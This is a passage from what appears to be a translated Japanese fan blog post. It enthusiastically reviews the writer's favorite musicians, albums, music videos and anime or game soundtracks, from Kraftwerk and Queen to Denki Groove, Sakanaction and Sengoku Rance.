similar songs if Yonezu Kenshi hadn\u0026rsquo;t been born\nI live to inhale those kinds of songs\nKraftwerk Techno again. Because I like techno\nReally mainstream. Mainstream enough that if someone asked \u0026ldquo;What\u0026rsquo;s techno?\u0026rdquo;, I\u0026rsquo;d answer \u0026ldquo;Kraftwerk\u0026rdquo;\nThe Robots and The Man Machine and such, I like the most mainstream of the mainstream songs, but I especially love the relaxed songs I could listen to for hours, like the songs on the Tour de France album and Autobahn\nListening to it now, the Tour de France songs aren\u0026rsquo;t especially relaxed, but how should I put it\u0026hellip; there\u0026rsquo;s this refreshing flow\nTour de France is one complete song as a single album. All 12 tracks together form one song called Tour de France\nThat\u0026rsquo;s what I mean\nKraftwerk is a German group, but they have a song with Japanese lyrics called Dentaku and it\u0026rsquo;s really good\nThe English version is Pocket Calculator, the German version is Taschenrechner, and the Japanese version is called Dentaku, all with the same melody, but when they do live shows in Japan, they start with the English version and shift to the Japanese version partway through, and my excitement goes through the roof\nAlso, this is about a different work connected to Kraftwerk, but there\u0026rsquo;s an anime called Witchcraft Works that pays homage to several Kraftwerk album jackets, and that\u0026rsquo;s really good. Great\nThe homage images are here and the originals being homaged are this and this\nToo good!!!!! Geeks rejoice!!!!!!!\nWhat I\u0026rsquo;m trying to say is, it\u0026rsquo;s mainstream enough to be paid homage in other works\nQueen It\u0026rsquo;s Queen after all!!!!!!! I love them!!!!!!!\nThey\u0026rsquo;re so famous that there\u0026rsquo;s absolutely no point in me commenting on them, but if I were to say something, among Queen\u0026rsquo;s works, QUEEN ROCK MONTREAL, which I featured in the collage, has outstanding quality among Queen\u0026rsquo;s live performances and I love it\nAmong Queen\u0026rsquo;s songs, I like their debut song Keep Yourself Alive, but I\u0026rsquo;ve never met anyone who says this is their favorite. It\u0026rsquo;s a good song, right? Good lyrics, right?\nThe lyrics are truly great; for the translation, please refer to articles by people strong in English\nIt\u0026rsquo;s like a forward-looking backwardness. Don\u0026rsquo;t aim too high, know your limits, first and foremost survive, use everything you have and somehow just survive — that\u0026rsquo;s good. Life is hard enough just staying alive\nAmong other songs, I like Bring Back That Leroy Brown and such\nWhen you try to list Queen songs, super-famous songs like We Will Rock You and Bohemian Rhapsody and Don\u0026rsquo;t Stop Me Now and Killer Queen and Somebody To Love and Save Me come out infinitely, but small but sharply spicy songs, B-side-ish songs like Bring Back That Leroy Brown are also really good. What\u0026rsquo;s a B-side?\nAs for MVs, this might be divisive, but for I Want To Break Free, I\u0026rsquo;m on the \u0026ldquo;pro\u0026rdquo; side. I love it\nIncluding the mysterious part in the middle. Well, there\u0026rsquo;s no part of this MV that isn\u0026rsquo;t mysterious\nAlso, this is purely a genuine romantic fan thing, but I loooooove Brian May. The guitar guy\nPlaying guitar with coins is too cool, it\u0026rsquo;s a problem\nAlso his gentle demeanor, and how calm he is even during live performances, I love it too much. The active Freddie, the still Brian — that\u0026rsquo;s the vibe\nRecently, the performance at the London Olympics was really good\u0026hellip;\u0026hellip; genuinely good. Let\u0026rsquo;s consider 2012 as \u0026ldquo;recently\u0026rdquo;\nI\u0026rsquo;ll talk about the London Olympics again in the Monty Python section\nNARUTO Original Soundtrack Suddenly became an anime otaku\nBut this soundtrack is quite important in my life, and the reason I can casually listen to songs without lyrics like techno now is probably because I used to listen to anime soundtracks like this to death back then\nAnd the catalyst for me starting to listen to anime soundtracks was NARUTO. Thank you NARUTO\nSoundtracks for anime and games have the quality of the songs themselves, plus the memories associated with those works attached, which is great\nThe excitement from back then, the tension during thrilling developments, all of that is packed in tight\nMichael Jackson Michael!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! I love you!!!!!!!!!!!!!! Look this way!!!!!!!!!!!!!!!!!!!!!!!\nBut sadly, I got into Michael Jackson after he passed away\u0026hellip;\u0026hellip;\nThat being the case, I can\u0026rsquo;t claim with absolute certainty that I know Michael Jackson well, but they\u0026rsquo;re good. I truly love them\nI like the perfectionism toward the works, or rather, I really love the feeling that everything is meticulously constructed with perfect attention to detail\nOn the other hand, I also like him dancing with a smile during the Jackson 5 era, in other words, I like everything\nAmong Jackson 5, my favorites are the mainstream ones: I Want You Back and ABC and The Love You Save, they\u0026rsquo;re so mainstream that I\u0026rsquo;ve just listed the first 3 tracks of a best-of album\nMainstream is justice after all. Great justice\nIn the Michael Jackson era, again it\u0026rsquo;s mainstream, but Thriller is essential. My first Michael Jackson was Thriller\nThe reason I remember my first song so accurately is that my middle school English teacher played the MV during class, half for fun\nWhen I first saw the MV, it was truly shocking, and I didn\u0026rsquo;t even care when the break-time bell rang during the viewing\nThat was essentially a music class. Stop with the opportunistic self-talk. Okay\nAmong other MVs, I like Say Say Say, which is a collaboration song with Paul McCartney\nIt\u0026rsquo;s, like, a bit different from the other MVs and I really love it. Maybe because it\u0026rsquo;s a collaboration\nThe visuals are peaceful and cute. Being able to see the two of them dancing in comedian outfits, like Don and Cosmo from Singin\u0026rsquo; in the Rain — that\u0026rsquo;s only here!\nTaniyama Hiroko Quietly good. Truly good\nWhere I encountered Taniyama Hiroko can, I think, be explained with the single phrase \u0026ldquo;I am an otaku\u0026rdquo;\nThe Hetalia Finland hand-drawn video was really good. Great, right? I am speaking to everyone who was probably watching that back then\nThis isn\u0026rsquo;t a Hetalia section, so I\u0026rsquo;ll return to talking about Taniyama Hiroko, but I love all the bright and cute songs, the darkly atmospheric songs, and the madness songs equally\nThere are infinitely many songs I want to mention, but just like with Hormone, Taniyama Hiroko has few officially uploaded songs so I can\u0026rsquo;t post links\nCandine and Tenpura☆Sunrise and Parsley Parsley and Goddess of the Crescent Moon and Small Fish and Goodbye DINO and Love-Struck Chicken and such, I love them all so much\nAlso, I specially love the Yamaha Motor Company Song. This was originally created by Taniyama Hiroko as the company song for Yamaha Motor, as the name suggests, but\nit was arranged into a really cool version by ROLLY \u0026amp; Taniyama Hiroko\u0026rsquo;s Karakuri Ningyo Gakudan, and it\u0026rsquo;s good, so good, so good\nThe album version is also really good, but there\u0026rsquo;s a regularly held live called Nekomori Shukai, and that version is truly good. It has a goodness unique to live performances\nLet me talk about Nekomori Shukai. At Nekomori Shukai, the stage is in the center of the venue and the audience sits surrounding it, so\ncombined with the live atmosphere, it has a truly unique vibe, like you\u0026rsquo;ve intruded upon a place where music-loving residents of a forest freely gather and play music together.\nIt\u0026rsquo;s like this\nSpeaking of Taniyama Hiroko, there was a radio program called Taniyama Hiroko\u0026rsquo;s All Night Nippon, and\nif I had been alive and had a sense of self back then, I would have definitely listened, but unfortunately I wasn\u0026rsquo;t born yet so I couldn\u0026rsquo;t. How unreasonable\nBut now, in the present, she\u0026rsquo;s doing Taniyama Hiroko\u0026rsquo;s SORAMIMI Radio! Yay!!! Thank you!!!!!\nI have other complaints about the timing of my birth, and I\u0026rsquo;ll make almost the same argument later in the Denki Groove section\nMonty Python They\u0026rsquo;re a comedy group. But their songs are really good\nYou know how comedy has musical bits? There are lots of songs like that\nBy the way, I mentioned Finland in the Taniyama Hiroko section earlier, but the original source of that song is Monty Python\nThere\u0026rsquo;s a Monty Python movie called The Meaning of Life, which is like a collection of sketches, and regardless of the movie\u0026rsquo;s quality, it\u0026rsquo;s a film with really good musical bits, so I\u0026rsquo;ll talk about that\nIt would generally be classified as dirty jokes, I suppose\u0026hellip;\u0026hellip;\nBy the way, the sketches are technically called \u0026ldquo;sketches,\u0026rdquo; so I\u0026rsquo;ll refer to them as sketches from here on\n\u0026mdash;\u0026ndash; Dirty jokes from here \u0026mdash;\u0026ndash;\nThere\u0026rsquo;s a song called Every Sperm is Sacred in the movie, and translating the title gives \u0026ldquo;Every Sperm is Sacred,\u0026rdquo; but this isn\u0026rsquo;t just a punchline — it\u0026rsquo;s truly a good song with good visuals. Truly\nIt\u0026rsquo;s done in a musical style, and how many cast members are there in total? There are probably dozens of child actors alone\nIt\u0026rsquo;s so lavishly produced that I think it consumed most of the movie\u0026rsquo;s budget, with a large number of dancers dancing while loudly singing about how every sperm is sacred. I love it\nIt\u0026rsquo;s not just absurdity. There\u0026rsquo;s a proper reason why sperm is sacred, but I\u0026rsquo;m not an expert so I don\u0026rsquo;t have the words to discuss it\nI\u0026rsquo;ve watched the footage about 5 times while writing this and I\u0026rsquo;m not bored at all. The quality is too high\n\u0026mdash;\u0026ndash; Dirty jokes end here \u0026mdash;\u0026ndash;\nI started feeling awkward writing that, so I\u0026rsquo;ll talk about the proper songs\nWhen it comes to Monty Python\u0026rsquo;s representative song, it\u0026rsquo;s Always Look On The Bright Side Of Life, and it\u0026rsquo;s such a masterpiece that if you gather 10 people, all 10 would start with this song\nThen why didn\u0026rsquo;t this article do that?\nThis song is also a movie musical bit, the final song of Monty Python\u0026rsquo;s Life of Brian, and it\u0026rsquo;s such a good song\n\u0026ldquo;Always look on the bright side of life\u0026rdquo; — a really great song that cheers up the protagonist in the film. It hits deep\nIn the movie, it\u0026rsquo;s sung in a scene where you clearly shouldn\u0026rsquo;t be looking on the bright side, which is slightly funny, but that\u0026rsquo;s also good. Because this is a comedy film after all\nHere I\u0026rsquo;ll return to the London Olympics story from the Queen section. This song is such a masterpiece that it was chosen for the London Olympics performance\nThat was good. It was really good, but I\u0026rsquo;m not sure how many people know about it, so I\u0026rsquo;m talking to myself\nEric Idle\u0026rsquo;s compositions are truly great, and Always Look On The Bright Side Of Life was also written by Eric, and I also like Lousy Song and such\nLousy Song features a sketch performed over Eric singing a song, and\nGraham Chapman thoroughly disparages the song saying \u0026ldquo;Terrible. The worst. Trash. Did you write this!? This song is no good\u0026rdquo; and it\u0026rsquo;s wonderful. I think it\u0026rsquo;s a good song\nBy the way, Eric Idle and Graham Chapman are members of Monty Python\nThe gag using Graham Chapman\u0026rsquo;s (fake) ashes was good, right? I don\u0026rsquo;t know if anyone else knows this, so I\u0026rsquo;m talking to myself again\nAs for other favorite songs, Sit on My Face — I\u0026rsquo;m talking about dirty joke songs again\nIncluding the sketch content, I also like Money Song. A serious financial program host heats up all by himself and ultimately sings a song about money and dances and the show just ends like that. Too funny\nIf I keep going, this will become a discussion of sketches rather than Monty Python\u0026rsquo;s songs, so I\u0026rsquo;ll stop here\nThere are lots of great sketches, and I absolutely love John Cleese\u0026rsquo;s sharp wit\u0026hellip;\u0026hellip;\nDenki Groove With electricity, anything is possible!!!!! This year\u0026rsquo;s tour, An and Kaori no Ki, was really good\nDenki is really good, but everything is so good that I don\u0026rsquo;t know where to start talking. The flavor is slightly different between early songs and recent songs. I\u0026rsquo;ll start from the earlier ones\nWhen you say Denki Groove\u0026rsquo;s masterpiece, it\u0026rsquo;s undoubtedly Shangri-La, but that MV is actually insane and I love it so much\nTakkyu\u0026rsquo;s unhinged smile gets 100 points\nIn the early days, I get the impression there were many hip-hop-ish, or rather, not very techno-ish songs. If you only listen to Shangri-La, it\u0026rsquo;s J-POP\nDenki Biribiri and CATV and Bingo! and Cafe de Oni and Garigari-kun and Niji and Mama Cake and Dareda! and Mechanical Musume and B.B.E. and such, I like them\nAt the album level, I like VOXXX and Karateka from the early period, and right after Taki was arrested, I looped Karateka 100 times and was overcome with emotion at March\nAlso, isn\u0026rsquo;t the flow from VOXXX\u0026rsquo;s Jungle no Moko Dansen ~ Flashback J-pop Countdown really good!? It is good\nJungle no Moko Dansen is already good on its own, and the way it goes from Hanshin fans\u0026rsquo; jeering to Space Invader and Daimajin\u0026rsquo;s Galaxy Night is something I really love\nThen from there, a message to earthlings is inserted from Space Invader, and the way it connects to the dead\u0026rsquo;s book (Edison-den) after announcing this week\u0026rsquo;s song ranking in Flashback J-pop Countdown is too beautiful\nWhat am I talking about? I\u0026rsquo;m talking about Denki Groove songs\nAs for the live version, the way Flashback J-pop Countdown connects to an uptempo Shangri-La at Ilbon 2000 is also really good\nNo matter how many times I listen, my tension shoots through the roof\nAs for MVs, I like Sei☆Ojisan\nIt\u0026rsquo;s just a home video of Denki and Schadarapaa going on a trip, but it\u0026rsquo;s funny\nI absolutely love Denki\u0026rsquo;s home video MVs\nDrill King Company Song 2001 is too great\nIt\u0026rsquo;s just clips from their past activities, so why is it this funny?\nAlso, this isn\u0026rsquo;t a home video, but I absolutely love the VOLCANIC DRUMBEATS MV. My favorite. The Ilbon 2000 version\nWhich period does the album J-POP fall under, early or recent?\nSince Mononoke Dance is on it, recent?\nJ-POP was the first Denki Groove album I picked up, and it\u0026rsquo;s deeply memorable\nThe reason I picked it up first was that there was an anime called Kuuchuu Buranko, and Ichigo Musume from J-POP was used as an insert song\nThough calling it an insert song is a stretch since it had no lyrics and was used as regular BGM\nI have memories of wondering \u0026ldquo;Nothing song-like has appeared in the show, yet every time \u0026lsquo;Ichigo Musume\u0026rsquo; is credited as an insert song. Why?\u0026rdquo; and picking up the album\nI love it so much, can I talk about Kuuchuu Buranko just a little? Thank you\nThe OP and ED also used Denki songs, and they were really good. It was an incredibly unique anime\nThe voice actors\u0026rsquo; actual faces (live-action) were used as-is, which was extremely novel\nIrabu Ichirou\u0026rsquo;s Large, Medium, and Small were all good. Park Romi\u0026rsquo;s Small is cute\nThe director was Nakamura Kenji of Mononoke. Mononoke is good too. Let\u0026rsquo;s stop talking about anime now. Because I can\u0026rsquo;t see the end\nFrom the Kuuchuu Buranko OP song Upside Down, you can clearly feel the recent Denki Groove. This is my personal impression\nI love the Upside Down MV. You can enjoy footage of girls dancing freely\nSHAMEFUL and SHAME are also really cool, and Baby\u0026rsquo;s on Fire has an MV I absolutely love\nFrom around here, the MVs get cooler and cooler\nBaby\u0026rsquo;s on Fire is a song that goes insanely hard at lives, so I love it including that. I love it. I really love it. I adore it\nSpeaking of songs that go hard at lives, Kao Kawacchatteiru. is also one I love to death\nQuietly my favorite\nFallin\u0026rsquo; Down and such are good too. Truly good\nDenki doesn\u0026rsquo;t just have hard-hitting songs; they also have these open-feeling, stable songs that are good. Set you Free is also that kind of song\nAlso, when talking about recent Denki MVs, what can\u0026rsquo;t be left out is definitely Ningen Daitouryou\nDenki Groove at 120 points\n\u0026ldquo;Question: What are they doing?\u0026rdquo; \u0026ldquo;Answer: Destruction\u0026rdquo; — I love that so much. Destruction is good, right\nBy the way, there\u0026rsquo;s a song called MAN HUMAN, which is the OP for DEVILMAN crybaby, an anime adaptation of Devilman, and\nthis is really good, and the live footage for this song is a homage to Kraftwerk\u0026rsquo;s The Man Machine. The best. Thank you\nLet me talk about Denki Groove\u0026rsquo;s radio\nI mentioned Taniyama Hiroko\u0026rsquo;s All Night Nippon, but there was also a program called Denki Groove\u0026rsquo;s All Night Nippon, and I couldn\u0026rsquo;t listen to this one either. So unreasonable\nSince I couldn\u0026rsquo;t listen, I don\u0026rsquo;t have much to say, but apparently the content was pretty out there, so I really wanted to listen to it in real time\nIn February of this year, there was a one-night-only revival radio broadcast, and I listened to that until I\u0026rsquo;d practically licked it clean. It was really good. Denki Groove has good music and good talk\nST☆RISH Auditory stimulant. That\u0026rsquo;s what ST☆RISH is to me\nWhy a stimulant: because when I\u0026rsquo;ve reached my limit at work or other tasks, I have a habit of looping ST☆RISH songs while singing along and moving my hands. It works really well\nWhen I listen to ST☆RISH, you see, my concentration goes up. I can power through work too\nThe most famous one is probably Maji LOVE 1000%, and the live footage of that was truly incredible animation for a female-oriented anime of that time. It was amazing. Truly\nDoing the dance scenes with hand-drawn animation was truly impressive. They really did it. I watched it 100 times\nTokyo Jihen (Shiina Ringo) Living legend!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Tokyo Jihen!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Everything is a masterpiece!!!!!!!!!!!!!!!!\nTokyo Jihen or Shiina Ringo, I really love songs that feature actual place names. When you exit the east exit of JR Shinuku Station, there lies my playground, the great amusement quarter Kabukicho\nSince everything is a masterpiece, I was quite torn about which album to use in the collage, but I went with Sports. Because it was the album I listened to most\nI was listening to Jihen especially often in 2010 when this album came out, and\nthe reason was that I was working a part-time job with women who lived along the Chuo Line and loved Tokyo Jihen and Shiina Ringo. Because of that, I\u0026rsquo;m convinced that all women living along the Chuo Line love Jihen\nGaman, which my coworkers sang at karaoke, is something I love so much, and I want to see a woman from Kansai sing Gaman passionately just once more before I die. Please\nA comprehensive all-time best album came out a few years ago, so there\u0026rsquo;s no longer any need for me to list my favorite songs. At minimum, every song included in it, I love\nMy favorite is definitely Gunjou Hiyake!!!!!! Mainstream!!!!!!!!!!!!\nBy the way, I\u0026rsquo;m going to talk about anime again, but the ending credits of Detective Conan: The Scarlet Bullet were amazing, right!?!??!?!?\nTokyo Jihen\u0026rsquo;s Eien no Fuzai Shoumei was used as the ending song, and this song has a few seconds of silence in the second half, but\nI wondered how they\u0026rsquo;d handle it in theaters, figuring the silence part would surely be cut since it goes quiet, but instead they skillfully used the silence part to create an incredibly cool production, and I was absolutely blown away. No words other than \u0026ldquo;amazing\u0026rdquo;\nAlso, Shiina Ringo has provided songs to other singers, and there\u0026rsquo;s an album called Gyoukou Nyuukoku (reverse import) where she self-covered those provided songs, and it\u0026rsquo;s the best. There are two discs: Kouwan Kyoku and Koukuu Kyoku\nShiina Ringo singing Usurai Koi Shinjuu, simply put, is the best\nThe Hayashibara Megumi version is also the best. Everything is the best\nKurahashi Yoeko (Yoeko) Congratulations on Yoeko resuming activities!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! New Yoeko is really good!!!!!!!\nShe\u0026rsquo;s currently active as Yoeko, but since this article will reference many songs from the Kurahashi Yoeko era, I\u0026rsquo;ll refer to her as Kurahashi Yoeko\nWhere\u0026rsquo;s your Kurahashi Yoeko from? Mine is from a program called Kyuuryou Meisai\nIt was a pretty sleazy show planned by Terry Ito, but for a time Kurahashi Yoeko\u0026rsquo;s Son to Uso was used as its theme song, and I fell hard through that\nI loved it so much back then that I scraped together what little money I had and bought the MV collection DVD\nKurahashi Yoeko\u0026rsquo;s Tokyo is soooooo much my favorite. A concentrated mass of beauty. Among MVs, Tokyo is still my favorite\nAlso, the Koi no Daisousa MV is the best. An old anime-style MV is really good. Including the development at the end, I love it\nNingen Yametemo is also a favorite. And Ryuusei. My favorite Kurahashi Yoeko song is Ryuusei\nKurahashi Yoeko\u0026rsquo;s songs often feature someone obsessing to death over another person (mainly a lover or someone they love), and that messy intensity is what\u0026rsquo;s good\nBasically nothing goes well. Nothing goes well, but they can\u0026rsquo;t give up and become a mess\nBut there are also slightly more forward-looking songs like Kyou mo Ame\nCalling that forward-looking might be slightly off, but\nthat kind of thing, you know, is quietly good\nFazıl Say A person who plays piano terrifyingly nimbly. Probably has about 30 fingers\nThe album I featured in the collage is terrifyingly good, and Fazıl Say and Gershwin are the best match\nI think I initially picked up this album for Rhapsody in Blue, but ultimately every track was good\nTruly good\nRialto Ripples is so nimble that it seems like he has 50 fingers, and for I Got Rhythm, there are no words other than \u0026ldquo;thank you.\u0026rdquo; The best\nSummertime Ⅱ is the definition of a standard\nThank you for being born. These words are dedicated to both Fazıl Say and Gershwin\nARIA The ANIMATION Original Soundtrack Sorry. I can\u0026rsquo;t really put this into words\nThat\u0026rsquo;s the kind of work ARIA is. All of its goodness is packed in, and that goodness would collapse if I tried to put it into words\nTo use an analogy, it\u0026rsquo;s like a bench warmed by sunlight, or a cat dozing off while sunbathing along the shore\nGather such concepts, wrap them in a gently sweet sugar coating, and that becomes ARIA. That\u0026rsquo;s the feeling\nMETAFIVE Thank you for being born!!!!!!!!!!!!!!!!!!!!!!!! Thank you for continuing Takahashi Yukihiro \u0026amp; METAFIVE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nThank you, Takahashi Yukihiro. Truly everything was cool. Saying everything was cool might be an overstatement, but\nKimi ni, Mune Kyun. exists, so. There was also Trio the Techno and such\nIf I talk about Takahashi Yukihiro, it becomes a YMO section, so I\u0026rsquo;ll talk about METAFIVE\nI love METAFIVE. A sparkling jewel born from miraculous connections\nMy favorite is Don\u0026rsquo;t Move\nThe moment I heard this song, I was captivated by METAFIVE. The Fuji Rock live I was watching at this time had more than half the members absent due to circumstances, but\u0026hellip;\u0026hellip;\nIn terms of members, it\u0026rsquo;s basically techno, but you can\u0026rsquo;t quite call it techno either. What is this? It\u0026rsquo;s a concentrated mass of cool\nI like powerful songs like The Paramedics and Musical Chairs, but Kankyou to Shinri is especially something I love too much\nWhen Oyamada Keigo sang it live as Cornelius, I was electrified\nI really love the Musical Chairs MV. Cool. A matter-of-fact goodness\nThey also do covers of YMO songs and such, and CUE is truly a masterpiece\nBALLET is also the best. Talking about YMO again\nTECHNO RECITAL is really a good album. It\u0026rsquo;s techno after all\nMetallica Metallica is good. It has character\nFor some songs, I\u0026rsquo;ve listened to the live versions so much that when I hear the original, my body feels it\u0026rsquo;s too stable and it feels off instead\nThe quality of live performances is really hit or miss, and when it\u0026rsquo;s good, it\u0026rsquo;s truly stable with a live-feeling quality sound, but\nbad lives are really bad. The performance harmony collapses. Also the pitch gets lost. But that too is interesting to listen to as a recording\nI actively listen to the bad-times recordings a lot, so I don\u0026rsquo;t think there are actually that many bad lives\nAmong the famous ones, Battery and Master Of Puppets, and also Dirty Window which I love so much\nIsn\u0026rsquo;t Dirty Window really good!? I fell for it instantly in the first few seconds\nPerfume Absolute reliability!!!!!! The ceiling for their quality is unknown!!!!!!!!!!!!!!!!!!!\nThinking about it, Nakata Yasutaka\u0026rsquo;s production being absolutely reliable is amazing. Well, anyone would agree it\u0026rsquo;s absolutely reliable, but the genre itself is always pushing boundaries\nLet me get right into the MV talk — I really love the Spending all my time MV\nIf you asked me to choose the best 10 MVs from all the MVs I know, this would definitely be included. It\u0026rsquo;s too good\nShould I call it the repetition style, or — using the same footage over and over, cutting out parts, playing them in reverse, making it look the same but changing one part — I really love that kind of thing. Beautiful. Organized\nOf course, for this kind of footage to work, you first need a good song and good dancing, and I think that\u0026rsquo;s a technique only Perfume can pull off. Unique. National treasure\nAlso, when you think of Perfume, it\u0026rsquo;s their live video technology. It\u0026rsquo;s packed with the latest technology of each era\nReal-time projection mapping on the three members\u0026rsquo; costumes while they\u0026rsquo;re dancing — at the time, I didn\u0026rsquo;t really understand what they were talking about. Because I thought it was impossible\nIt\u0026rsquo;s amazing. Everyone involved with Perfume is a professional. The best\nOne Room Disco and Naturally ni Koishite and FAKE IT and Laser Beam and GLITTER and Spring of Life and such, I like them. Tending toward the comparatively older songs\nAlso, it has almost no lyrics, but Enter the Sphere is something I love to death\nThere was a divine project called Perfume Global Site Project that distributed Perfume\u0026rsquo;s dance motion data and such, and this song was used on that page\nThat page was really good, but when I searched for it now, it was nowhere to be found. It was really cool\nI found out about Perfume Global Site Project when it was introduced on NHK\u0026rsquo;s Tekune Eizou no Kyoushitsu, but where can I talk about Tekune? This is an article about songs, but\u0026hellip;\u0026hellip;\nSakanaction National treasure!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Thank you for being born!!!!!!!!!!!\nI can\u0026rsquo;t imagine a world without Sakanaction. Like air. Humans can\u0026rsquo;t live without air. It\u0026rsquo;s taken for granted that it\u0026rsquo;s there, and it\u0026rsquo;s always there. That kind of existence\nI really love the Shock! MV. Shimada Hisanori is good, right\nHe\u0026rsquo;s a concentrated mass of presence, but he blends smoothly into the MV while also standing out as the face of the single jacket. Perfect from every 360-degree angle\nMV with an older atmosphere suits Sakanaction, doesn\u0026rsquo;t it. It really suits them. Shin Takarajima too. That one is Drifu Daibakusho, so\nJust one line about Drifu: I also really love the opening song of Drifu Daibakusho. The idea of remixing Tonarigumi is something I love too much\nI\u0026rsquo;ll return to Sakanaction\nThe song I first fell for was \u0026lsquo;Bach no Senritsu wo Yoru ni Kiita Sei Desu.\u0026rsquo;, and that\u0026rsquo;s also good. The MV is also very good\nThe MV is really challenging, and watching it now it feels like a high-quality concentrated mass of Sakanaction, but\nwhen I first saw it, I was shocked thinking \u0026ldquo;What is this wildly unique MV!!!!!!!!\u0026rdquo; Getting inoculated with this MV with zero prior knowledge was too stimulating\nStimulation is said to be better the stronger it is\nAlso, Music is a diamond brilliantly shining in the treasure mountain called Sakanaction. It sparkles especially among Sakanaction\u0026rsquo;s songs\nThis is truly incredible. When you listen to a good song, I think you normally feel \u0026ldquo;this is a good song~,\u0026rdquo; but Music was different\nIt was the feeling of \u0026ldquo;having witnessed a completed \u0026lsquo;artistic work\u0026rsquo;\u0026rdquo;\nIt\u0026rsquo;s that high in completion, with everything necessary there, and nothing missing\nIn that sense, the diamond metaphor might be slightly off. Music is a sphere, you see. A perfect circle. An ultimate existence that is complete just by being that\nAIDENTITY is also good, right. It feels like the face of Sakanaction from this period\nI just watched the MV again after a long time and it\u0026rsquo;s pretty simple, and this is possible because of the song\u0026rsquo;s quality. The song is powerful and has centripetal force, so the MV can be simple. That\u0026rsquo;s what I think\nWell, is it really that simple?\nSpeaking of MVs, I absolutely love Sayonara wa Emotion, and this is also in the repetition style like Perfume\u0026rsquo;s Spending all my time\nYamaguchi Ichiro captured by repetition. Another individual Yamaguchi Ichiro observing that. Good, right. Really good. This also definitely makes my top 10 MVs\nAlso, in the Tokyo Jihen section I talked about how I really love songs with actual place names, and Sakanaction has that kind of song too. It\u0026rsquo;s called Omotesandou 26-ji\nShibuya and Omotesando and such really suit the late night to early morning hours. Or rather, bustling places that normally have lots of people, all of those. I love when those kinds of places go quiet\n.hack//SIGN ORIGINAL SOUND \u0026amp; SONG TRACK Where\u0026rsquo;s your Kajiura Yuki from? Mine is from .hack//SIGN\nThis is what got me into MMORPGs. In that sense, it\u0026rsquo;s a deeply sinful work. How many hundreds of hours have I spent on MMORPGs\nSee-Saw\u0026rsquo;s OP and ED are truly my favorites. See-Saw is good, right. Unique\nAmong the soundtrack, I like the world. A mainstream signature song\nKajiura Yuki in general is great, isn\u0026rsquo;t she. It\u0026rsquo;s amazing. That personality where you know it\u0026rsquo;s Kajiura Yuki the instant you hear it is amazing\nI also like FictionJunction YUUKA and Kalafina\nMagia is a masterpiece. Hitomi no Kakera is a memorable song\nReturning to the .hack//SIGN topic via Hitomi no Kakera, I generally like Bee Train works. They have an eccentric quality, but I love that eccentricity\nFor the .hack series, I only watched SIGN and didn\u0026rsquo;t play the games, so I want to. Because I was at my parents\u0026rsquo; house where video games were banned\n.hack//G.U. is on Switch and Steam, but for the expansion ones like Kansen Kakudai, do I need to buy a PS2? I earnestly want to play\nSoutaiseiriron (Yakushimaru Etsuko) Totally a generational thing. Back then, all of humanity was listening to Soutaiseiriron. I\u0026rsquo;m making the subject huge\nIncredible personality. And it was already complete from the start. From the first album Chiffon-ism, it hasn\u0026rsquo;t wavered at all\nWhen I first encountered Soutaiseiriron, I had no musical knowledge, and well, I still don\u0026rsquo;t, but I get the impression that Soutaiseiriron just sprouted out of nothing\nMusic has trendy genres, and bands that start trending often belong to some genre or another, but\nSoutaiseiriron was different, not belonging anywhere. A single genre called Soutaiseiriron. That suddenly sprouted up\nI think it probably does belong to some genre, me just not knowing about it, but Soutaiseiriron is Soutaiseiriron, you know?\nLOVE Zukkyun and Shikaku Kakumei and Shinagawa Number and China Advice and My Heart Hard Pinch and such, I like. Extremely standard\nI also like songs under Yakushimaru Etsuko\u0026rsquo;s solo name, and Tokimeki Hacker is something I love so much\nThere was a site called YAKUSHIMARU BODY HACK that published Yakushimaru Etsuko\u0026rsquo;s biometric data in real time. Thinking about it now, that\u0026rsquo;s variously amazing\nTokimeki Hacker was playing as BGM there, so I was always listening to it\nAlso, it was amazing that she sang Nuumoon ni Koishite. I was moved\nIf Yakushimaru Etsuko sang a Sailor Moon song, everyone would become \u0026ldquo;that era\u0026rsquo;s girl.\u0026rdquo; I made the subject huge again\nTalking about Nuumoon ni Koishite, that was amazing. To think the same song would be sung by multiple artists. Quietly good\nMomoiro Clover Z, Yakushimaru Etsuko, Horie Mitsuko — shifting across generations is good, right\nNo matter what generation, you can become that era\u0026rsquo;s girl. The era of waving toys around and playing make-believe transformation\nActually, Sailor Moon isn\u0026rsquo;t just for girls. It\u0026rsquo;s really good even for adults to read. But this is the Soutaiseiriron section, so I\u0026rsquo;ll end this topic here\nSpeaking of Yakushimaru Etsuko, it\u0026rsquo;s Ballet Mécanique, which is really good. Sunahara Yoshiro\u0026rsquo;s involvement is something I love too much\nOkada Yukiko\u0026rsquo;s WONDER TRIP LOVER, Sakamoto Ryuichi\u0026rsquo;s Ballet Mecanique, Nakatami Miki\u0026rsquo;s Chronic Love, Yakushimaru Etsuko + Sunahara Yoshiro\u0026rsquo;s Ballet Mécanique — each has its own goodness\nA good melody never fades. No matter how many times you bite into it, it\u0026rsquo;s delicious\nSengoku Rance I\u0026rsquo;ll talk about an age-restricted game. I won\u0026rsquo;t discuss the parts that require age restriction\n\u0026mdash;\u0026ndash; Eroge talk from here \u0026mdash;\u0026ndash;\nI love Sengoku Rance. The time thief of my youth\nI really played it foreverrrrrrrrr. So Sengoku Rance\u0026rsquo;s songs are ingrained in my ears\nSuzuka is cute, oh Suzuka. Also Omachi-chan is the strongest and the best. Shimazu is unforgiven\nSengoku Rance was my first Rance, and I played it without knowing any of the prior history, but that was totally fine\nThe game itself was fun, so I figured I could learn the history later\nI also want to clear Kichikuou Rance. Isn\u0026rsquo;t that one hard? I can never leave Leazas\nEven so, I played Kichikuou up to where Majin Rei appears, so when Rance 10 came out, I was quite surprised. Doesn\u0026rsquo;t Rei look like a completely different person? From that appearance to the hair going up and suddenly becoming handsome\nRance 10 was truly good. So good that even though the series ended, I still play it sometimes\nI will decorate the finished Rance story in the frame in my heart, and spend my life searching for the back of a new Rance that will never be born again\nOr so I thought, but I recently learned that TADA-san introduced an unofficial mod for Sengoku Rance on his blog, and a loud voice came from the bottom of my heart\nEven though it\u0026rsquo;s unofficial, I can still keep playing!?!?!?!??!?!?!?!??!?\nI can still keep playing with Rance, with everyone in that world!??!?!??!?!?!?!??!?\nThe first thing I\u0026rsquo;ll do after finishing this article is play Dai 